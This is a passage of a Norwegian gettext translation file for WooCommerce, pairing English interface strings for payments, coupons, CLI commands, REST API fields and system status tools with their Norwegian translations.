msgstr "(estimert for %s)"
#. Translators: %1$s App name, %2$s scope.
#: templates/auth/form-grant-access.php:35
msgid "This will give \"%1$s\" %2$s access which will allow it to:"
msgstr "Dette vil gi \"%1$s\" %2$s tilgang som vil tillate det å:"
#. translators: %s: maximum price
#: includes/widgets/class-wc-widget-layered-nav-filters.php:114
msgid "Max %s"
msgstr "Maks %s"
#. translators: %s: minimum price
#: includes/widgets/class-wc-widget-layered-nav-filters.php:108
msgid "Min %s"
msgstr "Min %s"
#: includes/wc-order-functions.php:779
msgid "The payment gateway for this order does not support automatic refunds."
msgstr "Betalingsløsningen for denne ordren støtter ikke automatiske refusjoner."
#: includes/wc-order-functions.php:775
msgid "The payment gateway for this order does not exist."
msgstr "Betalingsløsningen for denne ordren finnes ikke."
#: includes/wc-order-functions.php:583
msgid "Invalid refund amount."
msgstr "Ugyldig refusjonsbeløp."
#: includes/wc-coupon-functions.php:27
msgid "Fixed product discount"
msgstr "Fast produktrabatt"
#: includes/wc-coupon-functions.php:26
msgid "Fixed cart discount"
msgstr "Fast handlekurvrabatt"
#: includes/wc-coupon-functions.php:25
msgid "Percentage discount"
msgstr "Prosentrabatt"
#: includes/wc-core-functions.php:572
msgid "Iranian toman"
msgstr "Iranian toman"
#. translators: %s template
#: includes/wc-core-functions.php:319
msgid "%s does not exist."
msgstr "%s finnes ikke."
#. translators: %s: coupon code
#. translators: %s Coupon code.
#: includes/wc-cart-functions.php:294 assets/client/blocks/cart.js:24
#: assets/client/blocks/checkout.js:20
#: assets/client/blocks/wc-cart-checkout-base-frontend.js:32
msgid "Coupon: %s"
msgstr "Rabattkode: %s"
#. translators: %d: shipping package number
#: includes/wc-cart-functions.php:261
msgctxt "shipping packages"
msgid "Shipping"
msgstr "Frakt"
#: includes/shortcodes/class-wc-shortcode-my-account.php:84
msgid "Your password has been reset successfully."
msgstr "Passordet ditt har blitt tilbakestilt."
#: includes/shipping/legacy-flat-rate/includes/settings-flat-rate.php:44
#: includes/shipping/legacy-free-shipping/class-wc-shipping-legacy-free-shipping.php:122
#: includes/shipping/legacy-local-delivery/class-wc-shipping-legacy-local-delivery.php:184
#: includes/shipping/legacy-local-pickup/class-wc-shipping-legacy-local-pickup.php:130
#: includes/shipping/legacy-local-pickup/class-wc-shipping-legacy-local-pickup.php:134
msgid "Specific countries"
msgstr "Utvalgte land"
#: includes/shipping/free-shipping/class-wc-shipping-free-shipping.php:56
#: assets/client/admin/chunks/5875.js:1 assets/client/blocks/cart.js:2
#: assets/client/blocks/checkout.js:2
#: assets/client/blocks/mini-cart-contents.js:1
#: assets/client/blocks/wc-blocks-data.js:3
#: assets/client/blocks/wc-cart-checkout-base-frontend.js:40
msgid "Free shipping"
msgstr "Gratis frakt"
#. translators: 1: credit card type 2: last 4 digits 3: expiry month 4: expiry
#. year
#: includes/payment-tokens/class-wc-payment-token-cc.php:53
msgid "%1$s ending in %2$s (expires %3$s/%4$s)"
msgstr "%1$s slutter på %2$s (utgår %3$s/%4$s)"
#: includes/log-handlers/class-wc-log-handler-file.php:359
#: includes/log-handlers/class-wc-log-handler-file.php:379
msgid "This method should not be called before plugins_loaded."
msgstr "Denne metoden bør ikke kalles før 'plugins_loaded'."
#. translators: %s: Site name
#: includes/log-handlers/class-wc-log-handler-email.php:188
msgid "Visit %s admin area:"
msgstr "Besøk %s admin-område:"
#: includes/log-handlers/class-wc-log-handler-email.php:177
msgid "You have received the following WooCommerce log message:"
msgid_plural "You have received the following WooCommerce log messages:"
msgstr[0] "Du har fått følgende WooCommerce logg-melding:"
msgstr[1] "Du har fått følgende WooCommerce logg-meldinger:"
#. translators: 1: Site name 2: Maximum level 3: Log count
#: includes/log-handlers/class-wc-log-handler-email.php:156
msgid "[%1$s] %2$s: %3$s WooCommerce log message"
msgid_plural "[%1$s] %2$s: %3$s WooCommerce log messages"
msgstr[0] "[%1$s] %2$s: %3$s WooCommerce logg-melding"
msgstr[1] "[%1$s] %2$s: %3$s WooCommerce logg meldinger"
#: includes/legacy/abstract-wc-legacy-product.php:75
msgid "Product properties should not be accessed directly."
msgstr "Produktegenskaper skal ikke aksesseres direkte."
#: includes/gateways/paypal/includes/settings-paypal.php:115
msgid "Optionally enter the URL to a 150x50px image displayed as your logo in the upper left corner of the PayPal checkout pages."
msgstr "Du kan eventuelt fylle inn nettadressen til et 150x50px bilde som vises som logo øverst til venstre på PayPals betalingssider."
#: includes/gateways/paypal/includes/settings-paypal.php:113
msgid "Image url"
msgstr "Bilde URL"
#. translators: %s: URL
#: includes/gateways/paypal/includes/settings-paypal.php:54
msgid "PayPal sandbox can be used to test payments. Sign up for a <a href=\"%s\">developer account</a>."
msgstr "PayPal sandbox kan brukes for å teste betalinger. Registrer deg for en <a href=\"%s\">utviklerkonto</a>."
#. translators: %s: order ID.
#: includes/gateways/paypal/includes/class-wc-gateway-paypal-ipn-handler.php:283
msgid "Order #%s has been marked paid by PayPal IPN, but was previously cancelled. Admin handling required."
msgstr "Ordrenr. %s har blitt markert som betalt av PayPal IPN, men var kansellert tidligere. Admin-oppfølging er påkrevet."
#. translators: %s: order link.
#: includes/gateways/paypal/includes/class-wc-gateway-paypal-ipn-handler.php:281
msgid "Payment for cancelled order %s received"
msgstr "Betaling for kansellert ordre %s mottatt"
#: includes/gateways/paypal/includes/class-wc-gateway-paypal-ipn-handler.php:213
#: includes/gateways/paypal/includes/class-wc-gateway-paypal-pdt-handler.php:180
msgid "Payment authorized. Change payment status to processing or complete to capture funds."
msgstr "Betaling autorisert.Tilpass betalingsstatus til behandler eller fullført for å hente pengene."
#. translators: 1: Authorization ID, 2: Payment status
#: includes/gateways/paypal/class-wc-gateway-paypal.php:745
msgid "Payment could not be captured - Auth ID: %1$s, Status: %2$s"
msgstr "Betaling kunne ikke hentes - Auth ID: %1$s, Status: %2$s"
#. translators: 1: Amount, 2: Authorization ID, 3: Transaction ID
#: includes/gateways/paypal/class-wc-gateway-paypal.php:738
msgid "Payment of %1$s was captured - Auth ID: %2$s, Transaction ID: %3$s"
msgstr "Betaling av %1$s ble hentet - Auth ID: %2$s, Transaction ID: %3$s"
#. translators: %s: Paypal gateway error message
#: includes/gateways/paypal/class-wc-gateway-paypal.php:727
msgid "Payment could not be captured: %s"
msgstr "Betaling kunne ikke hentes: %s"
#: includes/gateways/bacs/class-wc-gateway-bacs.php:351
msgid "Bank"
msgstr "Bank"
#. translators: 1: Path to template file 2: Path to theme folder
#: includes/emails/class-wc-email.php:1469
msgid "To override and edit this email template copy %1$s to your theme folder: %2$s."
msgstr "For å overstyre og redigere denne e-postmalen, kopier %1$s til temamappen din: %2$s."
#: includes/data-stores/class-wc-payment-token-data-store.php:174
msgid "Invalid payment token."
msgstr "Ugyldig betalingsnøkkel."
#: includes/data-stores/class-wc-payment-token-data-store.php:44
#: includes/data-stores/class-wc-payment-token-data-store.php:88
msgid "Invalid or missing payment token fields."
msgstr "Ugyldige eller manglende felt for betalingsnøkkelen."
#: includes/data-stores/class-wc-customer-download-data-store.php:155
#: includes/data-stores/class-wc-customer-download-data-store.php:167
msgid "Invalid download."
msgstr "Ugyldig nedlasting."
#: includes/data-stores/class-wc-customer-data-store.php:156
msgid "Invalid customer."
msgstr "Ugyldig kunde."
#: includes/data-stores/class-wc-coupon-data-store-cpt.php:118
msgid "Invalid coupon."
msgstr "Ugyldig rabattkode."
#. translators: 1: Number of database updates performed 2: Database version
#. number
#: includes/cli/class-wc-cli-update-command.php:92
msgid "%1$d update functions completed. Database version is %2$s"
msgstr "%1$d oppdateringsfunksjoner fullført. Databaseversjon er %2$s"
#: includes/cli/class-wc-cli-runner.php:223
msgid "Output just the id when the operation is successful."
msgstr "Output bare ID'en når operasjonen er vellykket."
#: includes/cli/class-wc-cli-runner.php:202
#: includes/cli/class-wc-cli-tool-command.php:67
msgid "Render response in a particular format."
msgstr "Generer svar i et bestemt format."
#: includes/cli/class-wc-cli-runner.php:196
#: includes/cli/class-wc-cli-tool-command.php:61
msgid "Get the value of an individual field."
msgstr "Få verdien fra et individuelt felt."
#: includes/cli/class-wc-cli-runner.php:190
#: includes/cli/class-wc-cli-tool-command.php:55
msgid "Limit response to specific fields. Defaults to all fields."
msgstr "Begrens svar til spesifikke felt. Standard er alle felt."
#: includes/cli/class-wc-cli-tool-command.php:46
msgid "The id for the resource."
msgstr "IDen for denne ressursen."
#. translators: %s: Route to a given WC-API endpoint
#: includes/cli/class-wc-cli-runner.php:79
msgid "No schema title found for %s, skipping REST command registration."
msgstr "Ingen skjematittel funnet for %s, hopper over REST kommando registrering."
#: includes/cli/class-wc-cli-rest-command.php:358
msgid "Make sure to include the --user flag with an account that has permissions for this action."
msgstr "Sørg for å inkludere --user flagg med en konto som har tillatelser for denne handlingen."
#: includes/cli/class-wc-cli-rest-command.php:277
msgid "Updated"
msgstr "Oppdatert"
#: includes/cli/class-wc-cli-rest-command.php:159
msgid "Deleted"
msgstr "Slettet"
#: includes/cli/class-wc-cli-rest-command.php:157
msgid "Trashed"
msgstr "Lagt i papirkurven"
#: includes/class-wc-product-external.php:137
msgid "External products cannot be backordered."
msgstr "Eksterne produkter kan ikke settes i restordre."
#: includes/class-wc-product-external.php:108
#: includes/class-wc-product-external.php:123
msgid "External products cannot be stock managed."
msgstr "Eksterne produkter kan ikke lagerstyres."
#. translators: %s: attribute name
#: includes/class-wc-post-types.php:233
msgctxt "Product Attribute"
msgid "Product %s"
msgstr "Produkt %s"
#: includes/class-wc-post-types.php:188
msgid "Product shipping classes"
msgstr "Produkt fraktklasse"
#: includes/class-wc-post-types.php:156
msgid "No tags found"
msgstr "Ingen stikkord funnet"
#: includes/class-wc-post-types.php:155
msgid "Choose from the most used tags"
msgstr "Velg fra de mest brukte stikkord"
#: includes/class-wc-post-types.php:154
msgid "Add or remove tags"
msgstr "Legg til eller fjern stikkord"
#: includes/class-wc-post-types.php:153
msgid "Separate tags with commas"
msgstr "Skill stikkord med komma"
#: includes/class-wc-post-types.php:152
msgid "Popular tags"
msgstr "Populære stikkord"
#: includes/class-wc-post-types.php:151
msgid "New tag name"
msgstr "Nytt navn på stikkord"
#: includes/class-wc-post-types.php:150
msgid "Add new tag"
msgstr "Legg til nytt stikkord"
#: includes/class-wc-post-types.php:149
msgid "Update tag"
msgstr "Oppdater stikkord"
#: includes/class-wc-post-types.php:148
#: includes/react-admin/connect-existing-pages.php:288
msgid "Edit tag"
msgstr "Rediger stikkord"
#: includes/class-wc-post-types.php:147
msgid "All tags"
msgstr "Alle stikkord"
#: includes/class-wc-post-types.php:146
msgid "Search tags"
msgstr "Søk stikkord"
#: includes/class-wc-post-types.php:144
msgid "Tag"
msgstr "Stikkord"
#: includes/class-wc-post-types.php:110
msgid "No categories found"
msgstr "Ingen kategorier funnet"
#: includes/class-wc-post-types.php:109
#: assets/client/admin/chunks/category-metabox.js:1
msgid "New category name"
msgstr "Nytt navn for kategorien"
#: includes/class-wc-post-types.php:108
#: assets/client/admin/chunks/category-metabox.js:1
msgid "Add new category"
msgstr "Legg til kategori"
#: includes/class-wc-post-types.php:107
msgid "Update category"
msgstr "Oppdater kategori"
#: includes/class-wc-post-types.php:106
#: includes/react-admin/connect-existing-pages.php:268
msgid "Edit category"
msgstr "Rediger kategori"
#: includes/class-wc-post-types.php:105
#: assets/client/admin/chunks/category-metabox.js:1
msgid "Parent category:"
msgstr "Forelder kategori:"
#: includes/class-wc-post-types.php:104
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:556
msgid "Parent category"
msgstr "Forelderkategori"
#: includes/class-wc-post-types.php:103
#: assets/client/admin/chunks/analytics-report-categories.js:1
msgid "All categories"
msgstr "Alle kategorier"
#: includes/class-wc-post-types.php:102
msgid "Search categories"
msgstr "Søk kategorier"
#: includes/class-wc-post-types.php:100 src/Admin/API/Leaderboards.php:219
#: src/Admin/API/Reports/Categories/Controller.php:245
#: src/Admin/API/Reports/Products/Controller.php:327
#: assets/client/admin/chunks/analytics-report-categories.js:1
#: assets/client/admin/chunks/analytics-report-products.js:1
#: assets/client/blocks/reviews-by-category.js:14
msgid "Category"
msgid_plural "Categories"
msgstr[0] "Kategori"
msgstr[1] "Kategorier"
#. translators: %s: new order status
#: includes/class-wc-order.php:483
msgid "Order status set to %s."
msgstr "Ordrestatus satt til %s."
#: includes/class-wc-order-item-product.php:214
msgid "Invalid product"
msgstr "Ugyldig produkt"
#: includes/class-wc-order-item-product.php:105
msgid "Invalid variation ID"
msgstr "Ugyldig variant-ID"
#: includes/class-wc-order-item-fee.php:149
#: includes/class-wc-order-item-product.php:81 includes/class-wc-tax.php:928
msgid "Invalid tax class"
msgstr "Ugyldig avgiftsklasse"
#: includes/class-wc-install.php:2485
msgid "Visit premium customer support"
msgstr "Besøk premium kundestøtte"
#: includes/class-wc-form-handler.php:1005
#: includes/class-wc-form-handler.php:1009
#: includes/class-wc-form-handler.php:1146
#: includes/class-wc-form-handler.php:1180
#: assets/client/blocks/active-filters-frontend.js:1
#: assets/client/blocks/all-products-frontend.js:1
#: assets/client/blocks/attribute-filter-frontend.js:1
#: assets/client/blocks/cart.js:1 assets/client/blocks/checkout.js:1
#: assets/client/blocks/filter-wrapper-frontend.js:1
#: assets/client/blocks/order-confirmation-create-account-frontend.js:1
#: assets/client/blocks/price-filter-frontend.js:1
#: assets/client/blocks/rating-filter-frontend.js:1
#: assets/client/blocks/reviews-frontend.js:1
#: assets/client/blocks/single-product.js:1
#: assets/client/blocks/stock-filter-frontend.js:1
#: assets/client/blocks/wc-cart-checkout-base-frontend.js:1
msgid "Error:"
msgstr "Feil:"
#. translators: %s: Attribute name.
#: includes/class-wc-cart.php:1160
msgid "Invalid value posted for %s"
msgstr "Ugyldig verdi lagt inn for %s"
#. translators: %d item count
#: includes/class-wc-cart-session.php:643
msgid "%d item from your previous order is currently unavailable and could not be added to your cart."
msgid_plural "%d items from your previous order are currently unavailable and could not be added to your cart."
msgstr[0] "%d produkt fra din tidligere ordre er utilgjengelig for øyeblikket og kan ikke legges i handlekurven."
msgstr[1] "%d produkter fra din tidligere ordre er utilgjengelig for øyeblikket og kan ikke legges i handlekurven."
#. translators: 1: product name 2: items in stock
#: includes/class-wc-emails.php:980
msgid "%1$s is low in stock. There are %2$d left."
msgstr "Lite %1$s på lager. Det er %2$d igjen."
#: includes/class-wc-data-store.php:95 includes/class-wc-data-store.php:101
#: includes/class-wc-data-store.php:107
#: includes/data-stores/class-wc-shipping-zone-data-store.php:96
msgid "Invalid data store."
msgstr "Ugyldig datalagring."
#: includes/class-wc-customer.php:1104 includes/class-wc-order.php:1354
msgid "Invalid billing email address"
msgstr "Ugyldig faktura e-postadresse"
#: includes/class-wc-customer.php:900
msgid "Invalid role"
msgstr "Ugyldig rolle"
#: includes/class-wc-customer.php:854 src/Admin/API/OnboardingProfile.php:549
msgid "Invalid email address"
msgstr "Ugyldig e-postadresse"
#: includes/class-wc-coupon.php:764
msgid "Invalid email address restriction."
msgstr "Ugyldig restriksjon for e-postadresse."
#: includes/class-wc-coupon.php:561
msgid "Invalid discount type."
msgstr "Ugyldig rabattype."
#: includes/class-wc-countries.php:1245
msgid "Eircode"
msgstr "Eircode"
#: includes/class-wc-countries.php:764
msgid "Apartment, suite, unit, etc. (optional)"
msgstr "Adresselinje 2 (valgfritt)"
#: includes/class-wc-countries.php:800
msgid "Street address"
msgstr "Adresse"
#. translators: %s: product name
#: includes/class-wc-cart.php:1207
msgid "You cannot add another \"%s\" to your cart."
msgstr "Du kan ikke legge en ekstra \"%s\" i handlekurven."
#: includes/class-wc-cart.php:1222 includes/class-wc-cart.php:1292
#: includes/class-wc-frontend-scripts.php:712
#: includes/wc-cart-functions.php:133 includes/wc-template-functions.php:2446
#: src/Blocks/BlockTypes/ProductButton.php:397
#: src/Blocks/BlockTypes/ProductButton.php:398
msgid "View cart"
msgstr "Vis handlekurv"
#. translators: 1: key 2: URL
#: includes/class-wc-cache-helper.php:291
msgid "In order for <strong>database caching</strong> to work with WooCommerce you must add %1$s to the \"Ignored Query Strings\" option in <a href=\"%2$s\">W3 Total Cache settings</a>."
msgstr "For at <strong>mellomlagring for database</strong> skal fungere i WooCommerce må du legge til %1$s under \"Ignored Query Strings\" i <a href=\"%2$s\">Innstillinger for W3 Total Cache</a>."
#: includes/class-wc-ajax.php:1033 includes/class-wc-ajax.php:1065
#: includes/class-wc-ajax.php:1157 includes/class-wc-ajax.php:1221
#: includes/class-wc-ajax.php:1263 includes/class-wc-ajax.php:1325
#: includes/class-wc-ajax.php:1377 src/Internal/Orders/CouponsController.php:65
msgid "Invalid order"
msgstr "Ugyldig ordre"
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-reviews-v1-controller.php:420
msgid "The product review cannot be deleted."
msgstr "Omtalen kan ikke slettes."
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-reviews-v1-controller.php:413
msgid "The comment has already been trashed."
msgstr "Kommentaren ligger allerede i papirkurven."
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-reviews-v1-controller.php:409
msgid "The product review does not support trashing."
msgstr "Omtaler kan ikke legges i papirkurven."
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-reviews-v1-controller.php:252
msgid "Invalid product review ID."
msgstr "Ugyldig omtale-ID."
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-reviews-v1-controller.php:350
msgid "Updating product review failed."
msgstr "Oppdatering av omtalen mislyktes."
#: includes/rest-api/Controllers/Version1/class-wc-rest-product-reviews-v1-controller.php:304
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-reviews-controller.php:466
msgid "Creating product review failed."
msgstr "Oppretting av omtalen mislyktes."
#: includes/wc-attribute-functions.php:548
msgid "Could not update the attribute."
msgstr "Kunne ikke oppdatere attributen."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:813
msgid "The date of the customer last order, as GMT."
msgstr "Dato for kundens siste ordre, i GMT."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:754
#: includes/rest-api/Controllers/Version2/class-wc-rest-customers-v2-controller.php:168
#: includes/rest-api/Controllers/Version3/class-wc-rest-customers-controller.php:64
msgid "The date the customer was created, as GMT."
msgstr "Dato da kunden ble opprettet, i GMT."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:517
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-notes-v1-controller.php:274
#: includes/rest-api/Controllers/Version1/class-wc-rest-order-notes-v1-controller.php:307
#: includes/rest-api/Controllers/Version1/class-wc-rest-taxes-v1-controller.php:438
#: includes/rest-api/Controllers/Version1/class-wc-rest-taxes-v1-controller.php:458
#: includes/rest-api/Controllers/Version1/class-wc-rest-taxes-v1-controller.php:501
#: includes/rest-api/Controllers/Version1/class-wc-rest-webhook-deliveries-v1-controller.php:153
#: src/RestApi/Routes/V4/ShippingZones/Controller.php:122
msgid "Invalid resource ID."
msgstr "Ugyldig ressurs-ID."
#: includes/rest-api/Controllers/Version1/class-wc-rest-customers-v1-controller.php:453
msgid "This resource cannot be created."
msgstr "Ressursen kan ikke opprettes."
#: includes/rest-api/Controllers/Version2/class-wc-rest-webhooks-v2-controller.php:172
msgid "The date the webhook was last modified, as GMT."
msgstr "Dato da webhook'en sist ble redigert, i GMT."
#: includes/rest-api/Controllers/Version2/class-wc-rest-webhooks-v2-controller.php:160
msgid "The date the webhook was created, as GMT."
msgstr "Dato da webhook'en ble opprettet, i GMT."
#: includes/rest-api/Controllers/Version2/class-wc-rest-webhook-deliveries-v2-controller.php:143
msgid "The date the webhook delivery was logged, as GMT."
msgstr "Dato da webhook-leveringen ble loggført, i GMT."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:668
msgid "There was an error calling this tool. There is no callback present."
msgstr "There was an error calling this tool. There is no callback present."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:664
msgid "Tool ran."
msgstr "Verktøy kjørte."
#. translators: %d: amount of orphaned variations
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:497
msgid "%d orphaned variations deleted"
msgstr "%d foreldede varianter slettet"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:411
msgid "Tool return message."
msgstr "Verktøy tilbakemelding."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:406
msgid "Did the tool run successfully?"
msgstr "Har verktøyet kjørt vellykket?"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:398
msgid "Tool description."
msgstr "Verktøy beskrivelse."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:390
msgid "What running the tool will do."
msgstr "Hva skjer når du kjører verktøyet."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:382
msgid "Tool name."
msgstr "Verktøynavn."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:374
msgid "A unique identifier for the tool."
msgstr "Unik ID for verktøyet."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:291
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:316
msgid "Invalid tool ID."
msgstr "Ugyldig verktøy-ID."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:202
msgid "This tool will install all the missing WooCommerce pages. Pages already defined and set up will not be replaced."
msgstr "Dette verktøyet vil installere alle manglende WooCommerce-sider. Sider som allerede definert og satt opp vil ikke bli erstattet."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:142
msgid "This tool will delete all variations which have no parent."
msgstr "Dette verktøyet vil slette alle varianter som ikke har noe foreldre."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:141
msgid "Delete orphaned variations"
msgstr "Slett varianter uten forelder"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:140
msgid "Orphaned variations"
msgstr "Varianter uten forelder"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:701
msgid "WooCommerce pages."
msgstr "WooCommerce sider."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:693
msgid "Hide errors from visitors?"
msgstr "Hjem feil for besøkende?"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:681
msgid "Security."
msgstr "Sikkerhet."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:625
msgid "Taxonomy terms for product/order statuses."
msgstr "Taksonomivilkår for ordre-/produktstatuser."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:619
msgid "Geolocation enabled?"
msgstr "Geolocation aktivert?"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:589
#: includes/rest-api/Controllers/Version3/class-wc-rest-data-currencies-controller.php:219
msgid "Currency symbol."
msgstr "Valutasymbol."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:583
msgid "Currency."
msgstr "Valuta."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:577
msgid "SSL forced?"
msgstr "SSL tvunget?"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:565
msgid "Settings."
msgstr "Innstillinger."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:535
msgid "Template overrides."
msgstr "Temaoverstyringer."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:529
msgid "Does this theme have outdated templates?"
msgstr "Har dette temaet utdaterte maler?"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:523
msgid "Does the theme have a woocommerce.php file?"
msgstr "Har dette temaet en woocommerce.php fil?"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:517
msgid "Does the theme declare WooCommerce support?"
msgstr "Bekrefter dette temaet WooCommerce støtte?"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:505
msgid "Is this theme a child theme?"
msgstr "Er dette temaet et dattertema?"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:498
msgid "Theme author URL."
msgstr "Temaforfatter URL."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:492
msgid "Latest version of theme."
msgstr "Siste temaversjon."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:486
msgid "Theme version."
msgstr "Temaversjon."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:480
#: src/Admin/API/OnboardingThemes.php:194
msgid "Theme name."
msgstr "Temanavn."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:474
msgid "Theme."
msgstr "Tema."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:368
msgid "Database tables."
msgstr "Database tabeller."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:356
msgid "Database prefix."
msgstr "Database prefiks."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:344
msgid "Database."
msgstr "Database."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:336
msgid "Remote GET response."
msgstr "Remote GET svar."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:330
msgid "Remote GET successful?"
msgstr "Remote GET vellykket?"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:324
msgid "Remote POST response."
msgstr "Remote POST svar."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:318
msgid "Remote POST successful?"
msgstr "Remote POST vellykket?"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:312
msgid "Is mbstring enabled?"
msgstr "Er mbstring aktivert?"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:306
msgid "Is GZip enabled?"
msgstr "Er GZip aktivert?"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:300
msgid "Is DomDocument class enabled?"
msgstr "Er DomDocument class aktivert?"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:294
msgid "Is SoapClient class enabled?"
msgstr "Er SoapClient class aktivert?"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:288
msgid "Is fsockopen/cURL enabled?"
msgstr "Er fsockopen/cURL aktivert?"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:282
msgid "Default timezone."
msgstr "Standard tidssone."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:258
msgid "Is SUHOSIN installed?"
msgstr "Er SUHOSIN installert?"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:246
msgid "PHP max input vars."
msgstr "PHP maks inputvariabler."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:240
msgid "PHP max execution time."
msgstr "PHP maks utførelsestid."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:234
msgid "PHP post max size."
msgstr "PHP post maks størrelse."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:210
msgid "WordPress language."
msgstr "WordPress språk."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:204
msgid "Are WordPress cron jobs enabled?"
msgstr "Er WordPress cron jobs aktivert?"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:198
msgid "Is WordPress debug mode active?"
msgstr "Er WordPress debug mode aktivert?"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:192
msgid "WordPress memory limit."
msgstr "WordPress memory limit."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:186
msgid "Is WordPress multisite?"
msgstr "Er WordPress multisite?"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:180
msgid "WordPress version."
msgstr "WordPress versjon."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:174
msgid "Is log directory writable?"
msgstr "Er logmappen skrivbar?"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:168
msgid "Log directory."
msgstr "Logmappen."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:162
msgid "WooCommerce version."
msgstr "WooCommerce versjon."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:149
msgid "Site URL."
msgstr "Site-URL."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:142
msgid "Home URL."
msgstr "Hjem-URL."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-v2-controller.php:136
msgid "Environment."
msgstr "Miljø."
#: includes/rest-api/Controllers/Version2/class-wc-rest-shipping-zones-v2-controller.php:299
#: src/RestApi/Routes/V4/ShippingZones/ShippingZoneSchema.php:47
msgid "Shipping zone order."
msgstr "Fraktsone rekkefølge."
#: includes/rest-api/Controllers/Version2/class-wc-rest-shipping-zones-v2-controller.php:218
msgid "Shipping zones do not support trashing."
msgstr "Fraktsoner kan ikke legges i papirkurven."
#: includes/rest-api/Controllers/Version2/class-wc-rest-shipping-zones-v2-controller.php:158
msgid "Resource cannot be created. Check to make sure 'order' and 'name' are present."
msgstr "Ressursen kunne ikke opprettes. Sjekk at det finnes 'rekkefølge' og 'navn'."
#: includes/rest-api/Controllers/Version2/class-wc-rest-shipping-zones-v2-controller.php:41
